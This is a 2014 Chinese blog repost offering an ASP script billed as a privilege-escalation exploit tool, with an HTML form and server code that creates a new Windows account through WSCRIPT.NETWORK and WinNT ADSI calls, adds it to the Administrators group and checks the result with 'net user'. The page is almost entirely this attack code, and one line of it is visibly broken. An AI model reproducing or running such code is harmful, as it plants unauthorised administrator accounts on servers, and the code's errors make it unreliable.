ASP代码添加超级用户 -寒龙网出品

时间:2014-05-08 14:19:22   收藏:0   阅读:328
在user权限下成功添加Administrators组的用户
反正代码是对的,但是很少能成功,具体的看运气了。。


<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>

<%@codepage=936%>
<%on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>

ASP代码添加超级用户 -寒龙网出品,布布扣,bubuko.com

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!